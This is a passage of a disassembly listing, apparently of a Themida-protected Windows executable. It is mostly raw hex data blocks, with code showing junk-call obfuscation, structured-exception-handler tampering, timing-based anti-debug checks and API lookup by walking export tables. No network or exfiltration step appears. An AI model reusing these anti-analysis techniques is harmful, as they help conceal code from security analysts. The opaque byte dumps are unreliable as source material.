60892A11h, 92D8D89h dd 0AB610610h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 8EC35242h, 0E428FB8Fh, 0A86946BAh, 13E9h, 41B8A600h dd 80E852Bh, 3B874395h, 23921B2Ah, 0CF4608C9h, 2951BD09h dd 0BD8D0610h, 6100601h, 0EE5B589h, 29AD0610h dd 100625BDh, 247C8106h, 28h, 64870F10h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 2E3C350h, 60054333h, 1A2BB7BBh, 61EEB71Dh, 0F525050h dd 28Dh, 0F616000h, 52506031h, 585A310Fh, 8E9h, 63C8C200h dd 0D6A17694h, 585A618Fh, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FCFAC356h dd 14C5D667h, 89C448B6h, 102369B5h, 24448B06h, 0E985012Ch dd 90061000h, 16890Fh, 0E9600000h, 9, 0B7A4ACE0h, 0D7BB03D0h dd 0F5250A2h, 61585A31h, 60525050h, 450458BBh, 0F525065h dd 61585A31h, 5250310Fh, 310F6160h, 810Fh, 585A0000h, 6A90585Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 9F7DC353h, 4A9FED1Ah, 19858960h, 0F506102Fh dd 6A858D61h, 6A06134Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 6218C351h, 0B25D74E4h dd 0C58D3160h, 60061005h, 12E9h, 29844200h, 3A045F96h dd 0AA9F0D28h, 80AE1BE6h, 8B67D933h, 0FF6161D0h, 51006AD0h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 92D4B6F8h, 5E9D6h, 69330000h, 33BBA93h, 6A282444h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 6F7CC352h, 6951D095h, 14E9h, 0E8F6AF00h, 18FE8083h dd 20C2EB6Bh, 0DB1B960h, 0DE9D32Eh, 8F0FABD6h, 6, 0A019D09h dd 0FF5E0610h, 1385538Dh, 53BD8306h, 61385h, 0C0330A75h dd 944DB58Dh, 0E6FF0613h, 7C81AD56h, 2824h, 0E771000h dd 24448B50h, 858D502Ch, 6134F6Ah, 4403D0FFh, 8B972824h dd 4F858ADFh, 84061385h, 3A0474C0h, 574C7507h, 75AEC032h dd 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h dd 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h dd 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h dd 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 10147585h dd 0FF5DE906h, 0F5EFFFFh, 0D8Bh, 8E900h, 62E10000h, 0A01D4593h dd 6ACE87h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0E006C8C3h, 0E98E78FEh, 14h, 3FB7A9F4h, 0E3230C8Bh dd 576EE177h, 8328F0D1h, 5B689740h, 0F08B6060h, 93CA4DB9h dd 0FD8A612Bh, 75858B61h, 6A061014h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 18DCC357h dd 25B494E9h, 56F844DCh, 10818529h, 0E0D10610h, 13E9h dd 82673800h, 0E6EFE05Dh, 0FC199376h, 92ABC20Ch, 0AFA07593h dd 6018503h, 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 866A07C3h, 986956A0h, 0FE9h, 7B8CF900h dd 5F668441h, 17213B54h, 3BD05F02h, 9DD8D89h, 0BE0610h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0DC16C351h, 4D8D892Fh, 96061002h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 39C35343h dd 0A4905326h, 9589738Bh, 6100E8Dh, 0BE9AD66h, 4C000000h dd 472BBB37h, 677CBB0Ah, 0C1F9F656h, 6A02E0h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6A20ECC3h dd 0DB4D9DA9h, 603A0D05h, 152BD3BFh, 61DA8A59h, 20B58503h dd 9D890610h, 6102159h, 50006A96h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 41CB3B16h, 56006AADh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 6696CEC5h, 7F6255C9h, 0BA666065h, 57606C90h, 458D095Ah dd 61061008h, 13E961h, 2F330000h, 0EC99B16Dh, 0A0744976h dd 81A4D634h, 3C060C80h, 247C8139h, 24h, 8D870F10h, 0E9000000h dd 0Fh, 0CFA5D704h, 0B8AFA1C1h, 4237DD80h, 50781626h, 52505250h dd 310F5250h, 310F585Ah, 8E0Fh, 585A0000h, 5250310Fh, 840Fh dd 310F0000h, 0CE9h, 2E18300h, 72B57239h, 29ED54F9h, 5A585A6Dh dd 24048958h, 6830Fh, 0BD890000h, 6101481h, 2824448Bh dd 1830Fh, 50F50000h, 4896160h, 0ED852924h, 8D06102Dh dd 134F6A85h, 7850F06h, 0F000000h, 184h, 840FFC00h, 1 dd 0FCD0FFFCh, 24244403h, 0FD958960h, 0E806100Bh, 8, 0D29258AEh dd 1AEFE4BBh, 615F8EB7h, 1C244489h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 90C35242h, 0DD858994h, 0C606101Eh dd 1023E585h, 85C70006h, 61386CBh, 0 ; --------------------------------------------------------------------------- mov dword ptr [ebp+6138557h], 0 push 0 push ecx call loc_584905 and [ecx-3Dh], bl loc_584905: ; CODE XREF: sub_583550+13ADp pop ecx mov [esp+68h+var_64], ecx add [esp+68h+var_64], 18h inc ecx push ecx retn ; --------------------------------------------------------------------------- db 63h, 12h, 4Ch ; --------------------------------------------------------------------------- and esp, [ebx+55006AFCh] call loc_584926 and [ebp-3Dh], bl loc_584926: ; CODE XREF: sub_583550+13CEp pop ebp mov [esp+68h+var_64], ebp add [esp+68h+var_64], 19h inc ebp push ebp retn ; --------------------------------------------------------------------------- dw 5A4Ch dd 622DE9B3h, 0BE9h, 793CC600h, 84A9E3FDh, 0B9CA0F8Eh dd 498D8961h, 1061014h, 100B51BDh, 8C206h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B3C35545h, 827D309Fh dd 20B5858Bh, 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 36D869C3h, 8E9F625h, 0DC000000h dd 0AE1A962Ah, 4A811611h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 81C35242h, 4BE5033Ah, 4D26BFCh, 6AC203F8h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0B54AC355h, 1171B509h, 0B5010610h, 6101B55h dd 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 4B634D95h, 1B501D8h, 0AD061030h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BDC35141h, 3145B474h dd 1029718Dh, 247C8106h, 24h, 11870F10h, 60000001h, 7CCB8166h dd 15BD33E6h, 61061007h, 0DE990h, 66C50000h, 0ECC0D07Eh dd 0AD69056Fh, 507443D4h, 52505360h, 585A310Fh, 6A90615Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 49D7C356h, 9E91Bh, 80260000h, 1F83157Bh dd 8B401CB3h, 6A282444h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 65A2C351h, 6890F60h dd 81000000h, 0B7A255CBh, 24C98178h, 61763E2Ch, 8E950h dd 7D830000h, 3B9CFB63h, 4896CA9h, 0B860F24h, 0E9000000h dd 6, 0FFD6D1E5h, 858DFD06h, 6134F6Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0E8C35141h, 0AAE95620h, 0FF9CDF80h dd 0D98D298Ch, 0FF061022h, 53006AD0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 800F6289h dd 0Ch, 7E9h, 0EF673B00h, 70E98CC7h, 0FFFD2BE9h, 51006AFFh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0F1A20792h, 0CE98AA9h, 0ED000000h, 0AFB01FCAh, 0EB7B4E51h db 0F2h, 0CEh, 45h ; --------------------------------------------------------------------------- loc_584BA3: ; CODE XREF: sub_583550:loc_5839C6j lea eax, [ebp+61399B6h] mov [ebp+6101C61h], ebx nop pusha mov di, 86EAh popa push eax jmp loc_584BCE ; --------------------------------------------------------------------------- db 0CCh db 26h, 48h, 54h dd 3BCAA122h, 2E8BB10Fh, 4623C141h db 0E0h, 3Eh ; --------------------------------------------------------------------------- loc_584BCE: ; CODE XREF: sub_583550+1667j nop cmc push large dword ptr fs:0 ja loc_584BDE cmc loc_584BDE: ; CODE XREF: sub_583550+1687j mov eax, [esp+4+var_4] xor [ebp+610329Dh], ebx mov [ebp+6101FBDh], eax push 0 push edx call sub_584BF8 and [edx-3Dh], bl sub_583550 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_584BF8 proc near ; CODE XREF: sub_583550+16A0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_584BF8 endp ; --------------------------------------------------------------------------- adc edx, ebp aas test dl, ah sbb [ecx+75h], dh push esi pusha movzx ecx, dx mov ebx, [ebp+6100F61h] popa stc mov [ebp+6102F39h], edi mov large fs:0, esp jns loc_584C36 or [ebp+610004Dh], esi loc_584C36: ; CODE XREF: Themida_:00584C2Aj lea eax, [ebp+6139815h] stc mov [eax+1], esp push 0 push ebx call sub_584C4B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584C4B proc near ; CODE XREF: Themida_:00584C43p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_584C4B endp ; --------------------------------------------------------------------------- mov esp, 29FB3EBBh adc ecx, [ecx+10191D8Dh] push es jmp loc_584E4E ; --------------------------------------------------------------------------- sub [ebp+61013A5h], edi mov ebx, ebx call $+5 pop ebp sub ebp, 613980Eh mov esp, 12FF9Ch cmp dword ptr [ebp+6102969h], 0 jz short loc_584CA6 mov eax, [ebp+61010C5h] mov byte ptr [eax], 0 mov eax, [ebp+6100701h] mov byte ptr [eax], 0 call dword ptr [ebp+61009ADh] loc_584CA6: ; CODE XREF: Themida_:00584C8Cj pusha push dword ptr [ebp+613815Bh] lea eax, [ebp+613815Fh] push eax lea eax, [ebp+6138357h] push eax call dword ptr [ebp+6100251h] add esp, 0Ch popa jb loc_584CDB jmp loc_584CDB ; --------------------------------------------------------------------------- dd 0C4AA351Ch, 68C811E8h db 22h, 0EDh, 77h ; --------------------------------------------------------------------------- loc_584CDB: ; CODE XREF: Themida_:00584CC5j ; Themida_:00584CCBj mov [ebp+6101289h], esi lea esi, [ebp+6138357h] mov [ebp+61018F9h], edx lea edi, [ebp+6102B01h] push 0 push ecx call sub_584CFE and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584CFE proc near ; CODE XREF: Themida_:00584CF6p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_584CFE endp ; --------------------------------------------------------------------------- dw 453h dd 47413C6Eh, 3E80F0h, 33840Fh, 0A4F50000h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C2C35646h, 33D997F7h dd 1D5DB589h, 0CAE90610h, 29FFFFFFh, 100DBDB5h, 89C02B06h dd 1004A19Dh, 6AAA06h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 8950C6C3h, 7B84E37h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 6EA2C353h, 0E2019892h, 0BE982h, 6C340000h dd 4C006AB1h, 0E834E29h, 0A185C71Eh, 106102Dh, 60000000h dd 9959EE81h, 85892E50h, 6102161h, 858D8D61h, 6A06104Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0F726C351h, 0BF25E91Bh, 0F70890E7h, 2FC99D89h dd 0E1FF0610h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0BDC35343h, 0C72390E8h, 0AE60FF20h db 7Fh ; --------------------------------------------------------------------------- loc_584E21: ; DATA XREF: Themida_:0054C910o mov ebx, [esp+0Ch] push ebp call $+5 pop ebp sub ebp, 61399C0h mov eax, [ebx+0B8h] mov [ebp+613815Bh], eax lea eax, [ebp+6139807h] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- loc_584E4E: ; CODE XREF: Themida_:00584C67j push 0 push edi call sub_584E59 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584E59 proc near ; CODE XREF: Themida_:00584E51p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_584E59 endp ; --------------------------------------------------------------------------- db 97h, 0D4h, 8Dh dd 74D38B44h, 60F851F2h, 12E9h, 6B1D7E00h, 25D9D1FEh, 0DB08A46Fh dd 37607E76h, 60E6D7EFh, 8B0Fh, 59530000h, 9F56161h, 1013AD85h dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0EE8E75C3h, 0A6460114h, 8E9C0h, 0DBA60000h dd 0DF7A34A4h, 858D6DD6h, 6139CB9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 72C35040h, 0F04F6C2Ah, 0F6398E86h dd 1820FFCh, 0F8000000h, 13800F50h, 0F000000h, 0D85h, 8E900h dd 9E1D0000h, 76AACFC8h, 489DCEFh, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0D1A4A6A2h dd 16B27B07h, 13E92Ch, 0B5D80000h, 0BBBFC940h, 8287E4D3h dd 6D3AB33Dh, 78A66ECEh, 11E9E6h, 898F0000h, 0C79601C4h dd 0C65EB8BDh, 3719E64h, 6408D9EAh, 35FFh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 7695FC3h, 0B32DA003h, 60BE632Ah, 3289B52Bh, 5E80610h dd 0D8000000h, 8FF3D9D7h, 615AE3B7h, 258964h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 5DF9C355h, 14B95DA5h, 8B60624Ah, 10147995h dd 55B52B06h, 61061010h, 1B858DF8h, 6006139Dh, 30ED8D8Bh dd 0E8500610h, 9, 9868AE53h, 569A99D7h, 61585AE3h, 6A016089h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 65C9C357h, 0DD44DF78h, 0F5563153h, 12E9h dd 5899C500h, 44556317h, 47F39113h, 0B3AC7D82h, 0C68BA51Bh dd 1023E585h, 68F54F06h, 0D13A7410h, 128A0Fh, 52500000h dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 1A240481h dd 892D8E00h, 1023D195h, 10810F06h, 0E9000000h, 0Bh, 0B0F2ADC7h dd 8F324078h, 0FFAC087Fh, 101D45B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 34FCE1F5h dd 22220712h, 228DBD89h, 858D0610h, 613858Ah, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D8C35141h, 1A1CCDADh dd 0B4662B4Ch, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 7E75A9C3h, 987818E5h, 0B5019FC7h dd 610167Dh, 6DE9h, 75B58900h, 6006100Dh, 61FA8AF8h, 0C245C8Bh dd 0E855h, 815D0000h, 139CC3EDh, 99858B06h, 89061014h dd 101D4585h, 0E5858B06h, 89061020h, 10094585h, 61858B06h dd 8906102Eh, 10145D85h, 0E585C606h, 61023h, 86CB85C7h dd 613h, 858D0000h, 6139D1Bh, 0B88389h, 335D0000h, 9531C3C0h dd 61009A1h, 22E98589h, 74BC0610h, 6A0012FFh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0AB80C357h, 7E0C58D8h, 10E93Eh, 41EA0000h, 5A546065h dd 9AB0842Bh, 0A480A937h, 8F64513Bh, 5, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BD89FED7h, 6102871h, 6A04C483h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5ABAC353h dd 69892A11h, 8B666099h, 0E86161C6h, 13h, 0AF8572E9h, 4C0DAF9Ch dd 14F0384h, 290271EFh, 0E90D7494h, 5, 0DE5B5F7h, 890F5F1Ah dd 2, 0C781D98Bh, 718Fh, 0BAC28B66h, 1C34h, 1F719589h dd 0F8B0610h, 27E981F9h, 66546569h, 81576CB8h, 6BBCF2F1h dd 0EE944h, 0EB970000h, 0EB7E837Eh, 0BAE7F977h, 17F67467h dd 0FD32F181h, 0B5295E67h, 61023F9h, 0C5B00F89h, 8B04EF83h dd 1008B19Dh, 1EA8106h, 0F000000h, 1385h, 0C5858B00h, 0E9061007h dd 33h, 0F0492A51h, 0B7C8D6B0h, 14E9h, 0F6898100h, 48BD17D2h dd 0D8AE0395h, 4A34B445h, 0DF8ED402h, 0FF84E99Ah, 7B93FFFFh dd 3EB8ABEh, 0BF6B5CA4h, 0E93A32EDh, 83h, 56525153h, 245C8B57h dd 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh dd 5785h, 785B8B00h, 1C245C03h, 324738Bh, 561C2474h, 8B207B8Bh dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch dd 24540317h, 4C78320h, 0C084028Ah, 33A0874h, 4243E875h dd 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h dd 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 7E8CAh, 0A2EA0000h dd 0C6C8CF36h, 0D18B66BEh, 0D08B6658h, 5F48C081h, 0BA660000h dd 0E2B9B8CAh, 813601C8h, 1DF41F1h, 0E8388B36h, 11h, 0A4533AB1h dd 6F11992Ch, 0B6329110h, 513C5E6Eh, 0F5DE81BDh, 5A37B91Eh dd 0FC3FEF81h, 0CAB771D7h, 0EE78F781h, 0E6806D1Bh, 59C781F4h dd 8B1D45F8h, 603889DFh, 800FE78Ah, 6, 950DD081h, 836178EDh dd 0FE902E8h, 80000000h, 0E26D06EFh, 75820F36h, 0EFDD6899h dd 4848D0BDh, 0E9835DB7h, 19850F01h, 66000000h, 1D5AF381h dd 25E9h, 7A308600h, 0F12FA7A3h, 6042210Ch, 0F9810F8Bh dd 83EB8166h, 0FF6FE90Ah, 3353FFFFh, 0D74365A2h, 13ECE49Ah dd 0F3E97C19h, 37000000h, 97424C5Dh, 838A055Ch, 1D76A188h dd 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh dd 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h, 0A693B2D0h dd 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h dd 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h, 50F0362Bh dd 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h dd 602060F7h, 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h, 37335375h dd 357D2F6Dh, 0E0A1Eh, 0D25D3407h, 1E59A0A3h, 3 dup(0) dd 0E1E90000h, 6800000Ch, 613A338h, 0FCDFA3E9h, 0A45268FFh dd 99E90613h, 68FFFCDFh, 613A53Ah, 0FCDF8FE9h, 0A5F768FFh dd 85E90613h, 68FFFCDFh, 613A683h, 0FCDF7BE9h, 0A72B68FFh dd 71E90613h, 68FFFCDFh, 613A858h, 0FCDF67E9h, 0A93468FFh dd 5DE90613h, 68FFFCDFh, 613AA3Dh, 0FCDF53E9h, 0AAFC68FFh dd 49E90613h, 68FFFCDFh, 613ABE3h, 0FCDF3FE9h, 1F6204FFh dd 3D742CABh, 1A53FA81h, 3774179Eh, 1150F483h, 2153AF9Dh dd 0FD7C306Fh, 0C84F0B4Ch, 0E473E722h, 5752063Bh, 0DD1CA665h dd 0FBF86BDFh, 4E793231h, 0CC7CE75Bh, 0E388FF6Dh, 0FAA6CAA6h dd 3DE92ADBh, 0AA5BDE82h, 10AF9469h, 0A9255A11h, 4C1EBD5Ch dd 0CEA0D78Dh, 0CC7C67DBh, 0C6A37F6Dh, 1D02F7B2h, 9CC267FCh dd 23A355EDh, 845EA94h, 0C68181Ch, 1D2F2BEFh, 0D46E1D43h dd 309423A3h, 0A3FD4534h, 46E49423h, 90E311B2h, 550E857Dh dd 7F2A4420h, 9423C6C3h, 74324723h, 0C579AE55h, 7BD8D36h dd 4062EBD0h, 0CBB50F1h, 0D06D3CE8h, 299423A9h, 5CDFFB9Ah dd 0C48F6CA5h, 8872E61Bh, 2FE31CD1h, 9BB7F298h, 194EF5BEh dd 8AB56E6Dh, 23A9239Fh, 8B67C394h, 2A1C297h, 245B11C8h dd 9ED38C47h, 609E6F2Ah, 3F7E397Bh, 80000005h, 0DEDB814Bh dd 0A0BD1EABh, 44793204h, 0ED55542Ah, 96DCC7Ch, 374E502Dh dd 0BA815B90h, 982AE116h, 7C6DCC7Ch, 54D0C4A0h, 5362BF77h dd 3FE37688h, 65A24504h, 90B97088h, 7667FC11h, 0E75F06FAh dd 6942396h, 0BA13D66Dh, 9A397B3Fh, 2Fh, 396E15A4h, 5A9B4E4Dh dd 2FA6CAA6h, 0A3293E7Dh, 4C1EBD5Ch, 0FC7C745Dh, 0EA969267h dd 3C7C03BBh, 32D1E294h, 7B35F6B7h, 0E3D639h, 32340000h dd 0CD02A979h, 0BA9E54D9h, 0AEB9B2B9h, 71D1B892h, 956DCC7Eh dd 0D2C9BD99h, 629F441Eh, 4CF3927Eh, 968AC77Ch, 79C9C09Ah dd 9D6DCC7Eh, 10CBA5C1h, 5C4A1F5Ah, 0DD51863Dh, 0CC02A12Eh dd 0B8ED966Dh, 45441A04h, 923382FDh, 73401D19h, 16EB97CCh dd 702DCFFh, 9803F41Ah, 0C18FB19Ah, 3E7F8BD0h, 52274B8Ah dd 0D1FAD450h, 498537D2h, 0D62E1B54h, 62687D67h, 0A57DFFCh dd 2BDEF0EBh, 9E152786h, 0FCAA480h, 344C215Ah, 8C403A5h dd 3BA0DF91h, 403ACC03h, 0B590190Dh, 0FA000009h, 22991558h dd 77336Ah, 1D9C1049h, 2AB12D6Ah, 95934786h, 0A49FB69h dd 0E526C74Eh, 13CF269h, 0E015CE4Dh, 8C7F816Ch, 6BDFDF36h dd 324BD1CEh, 0AE2D3F7Eh, 63DFCAF5h, 836DCC7Ch, 28AECBA7h dd 9C5FAB1h, 1EBD5C83h, 7C745D4Ch, 969267FCh, 6B3887C4h dd 971DC91Fh, 2995C4C2h, 0CC943C4Bh, 14DD18B7h, 0F4397AFFh dd 0EDh, 5D9E4F0Ah, 7932A480h, 6549F63Bh, 6326AC48h, 6DCC99DFh dd 3B173B37h, 679C5047h, 0CC991EA4h, 4D7AF66Dh, 4612BA49h dd 4E421EBDh, 0CC078E07h, 95CA816Dh, 47194719h, 0CC7FFE44h dd 6B1A166Dh, 6DCC7FD7h, 0BDDC9EFAh, 5646F322h, 0EC886BD1h dd 698DFFD7h, 0EB20C794h, 0A72BCA37h, 0F1CB5B94h, 0A66577EAh dd 6DCC301Ch, 86587CF8h, 1FD310B3h, 57522643h, 67FC464Ah dd 623CF06Ch, 0E3F833D7h, 96687382h, 0A8F2F93h, 7316A59Eh dd 9651532h, 7B58F6F7h, 0FF8961FFh, 0A14316EAh, 0BD6FE662h dd 0DE6BD97Eh, 7125403Bh, 89B68h, 0EB2EE000h, 940E86Fh dd 0E61FC655h, 340E372h, 0DD1CD047h, 0ED1F6B61h, 0B940FC3Bh dd 0D463D718h, 0C037F32Eh, 7356D207h, 0D820A289h, 0E7C46BDFh dd 3F7E325Dh, 1E530C8Bh, 6709D0AAh, 0E3F87C28h, 5F04D749h dd 0D58E4522h, 2ED5F4A0h, 1C9945F9h, 91786678h, 6DCC7C31h dd 10B259D5h, 0F46DCC7Ch, 7C3B8782h, 7FDB6DCCh, 23FE463h dd 0A835120Eh, 0CEB0CA11h, 681C570Bh, 0AF34EF0Ch, 2567FC20h dd 96B3F296h, 887688E4h, 2FE31CD1h, 0A0FE4433h, 1A169423h dd 3C9723Dh, 2697EB2Ch, 77324C8Fh, 9CDB718Ah, 0FC19214Ah dd 1F30453Ah, 28DC584Ah, 2A93CDBh, 98DBD640h, 0D2ACC8A4h dd 0EC2BF1D7h, 3B151192h, 0ED9CC780h, 82C85855h, 53F6B5B1h dd 0FB7A2E12h, 5E890644h, 0E4007CD2h, 6FD75B00h, 0EDB95CE2h dd 7B3FCh, 1356F800h, 31682097h, 0E47FE7Dh, 2B681B9Ah dd 458428AFh, 0F567A389h, 21981453h, 0FC7B2F70h, 0C84F0B46h dd 7B6EEA1Fh, 0D9388A81h, 0FFDC6BDFh, 44793235h, 87546350h dd 5FDB675h, 9D9967FCh, 0A635C421h, 7E2FAAD4h, 8AFE4447h dd 1A169423h, 11E64A36h, 146A491Ah, 0F6B5CB9Eh, 9E102A4Ch dd 0EBAFCCA8h, 26DE5D6Fh, 5A8F38EFh, 0CBADCAA6h, 0A6225710h dd 4F43782Fh, 76885362h, 12334975h, 95B229AAh, 0F6A2C8C3h dd 6629427h, 89BE65F4h, 5F02EBD5h, 9DB40060h, 67209BB0h dd 3331832h, 0AF105001h, 826F2F4Ch, 93966873h, 8A341CA2h dd 0FD7BE03Ch, 0D3545E18h, 6F6D2C3h, 8B3B0000h, 5F059448h dd 8025B428h, 5F049347h, 7D2FA622h, 609C8A3Eh, 4BFF3EF2h dd 64D819CCh, 42F631D5h, 63D70CB3h, 2D959468h, 0C96BDFD9h dd 0BD5C60ECh, 77324C1Eh, 6DCC7CCBh, 461A2F2Bh, 0FB9B2F43h dd 718BE767h, 0BD7042EAh, 0C8AC587Ch, 550ECDB3h, 79304E20h dd 94201DC9h, 0A21C312Dh, 114E01B8h, 0AA1CF865h, 8343E53Fh dd 1AD18A5Fh, 35C431E5h, 721E550Bh, 11F8D2EEh, 9E109240h dd 0A5BD2A06h, 6B403A9Ah, 66A2ABBh, 0FFAF0000h, 0D37900BCh dd 0F499209Ch, 0D378FFBBh, 0F1932296h, 0F410F6B2h, 27A3E286h dd 0BCFDB0h, 1E9AD579h, 0FFBBF097h, 0C979300Ch, 2D6BDFDAh dd 0BD5CE4B0h, 45D4C1Eh, 8067FB9Ch, 0EEDB14B9h, 3DF3376Ch dd 54462301h, 6D806D8h, 203EBF03h, 0FEDB5794h, 87598E35h dd 1FD30EB4h, 29B02643h, 6C594D82h, 0A2BC8E4Dh, 203E5BE7h dd 8D5FBB94h, 203E249Eh, 8764C094h, 0D9D0BA71h, 6C929E17h dd 14DE05BDh, 6885E19Eh, 15A4B6B2h, 0F685396Eh, 976C184Dh dd 8A815B80h, 9424A7B5h, 8468D551h, 0AA5E2E8Fh, 5C2E9FAh dd 67070000h, 7B31A824h, 5C118844h, 7B30A723h, 590B8A3Eh dd 5CA89E1Ah, 7F3B7A2Eh, 981455F8h, 76326D21h, 971348FFh dd 61E1C8B4h, 856BDFDBh, 79329C28h, 0FDAF2A44h, 794ED2BEh dd 20550E8Dh, 1BC057ACh, 11614A41h, 0C9A567FCh, 447D24B7h dd 5B943950h, 0D2A7CBA7h, 973985D4h, 64DC9423h, 8CAEC767h dd 4C214B3Bh, 0D41DD877h, 0B4397B7Bh, 44h, 215A0FCAh, 0A9D7804Ch dd 0CC7C4002h, 792DA46Dh, 0B845223Eh, 0E9A0BA21h, 67FC7CC8h dd 8A913F2Ch, 0D70E85C6h, 70240002h, 23FA9D29h, 0AC438094h dd 7BAF8849h, 0BF6839h, 55960000h, 879377C8h, 2400DD57h dd 50447932h, 86589739h, 7C11B158h, 79F56DCCh, 7C1EA467h dd 7AF66DCCh, 812AA15Dh, 8A41584Ch, 0A532D955h, 9A6DCC00h dd 0E126B3F1h, 0BBD5935h, 0A34615E7h, 4AD18562h, 4BB86CA1h dd 6E1D2FACh, 980318ADh, 461DD59h, 1514E6F5h, 9E15B025h dd 0D08B65C1h, 659E431Bh, 0E591B5B1h, 0EC21CA81h, 391F3C38h dd 1B8FCE82h, 44A9E89Ch, 403A5B56h, 95BB2CF8h, 0DA000004h dd 0C239F538h, 0E057D30Ah, 0BD3CF029h, 8A11CD0Ah, 3533A7E6h dd 0AAE99BC9h, 0C506A72Eh, 0A1DC9209h, 0C0F5AE2Dh, 6C1F210Ch dd 6BDFD4D6h, 32EBB12Eh, 